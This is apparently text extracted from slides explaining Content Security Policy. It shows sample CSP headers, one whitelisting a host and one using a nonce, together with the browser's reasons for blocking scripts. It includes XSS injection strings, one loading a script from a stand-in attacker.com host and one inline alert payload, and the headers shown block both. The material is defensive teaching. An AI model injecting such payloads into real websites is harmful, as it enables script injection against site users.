CSP
default-src ‘self’;
script-src ‘self’ good.com;
report-uri /csp_alert_logger;
example.com
good.com
CSP
default-src ‘self’;
script-src ‘self’ good.com;
report-uri /csp_alert_logger;
example.com
good.com
“>’><script src=”
//attacker.com/evil.js”>
“>’><script>alert(balalaya)
example.com/csp_alert_logger
source not whitelisted
inline scripts are not allowed
CSP
default-src ‘self’;
script-src ‘self’ nonce-r4and0m123;
report-uri /csp_alert_logger;
example.com
good.com
“>’><script src=”
//attacker.com/evil.js”>
“>’><script>alert(balalaya)
example.com/csp_alert_logger
script without correct nonce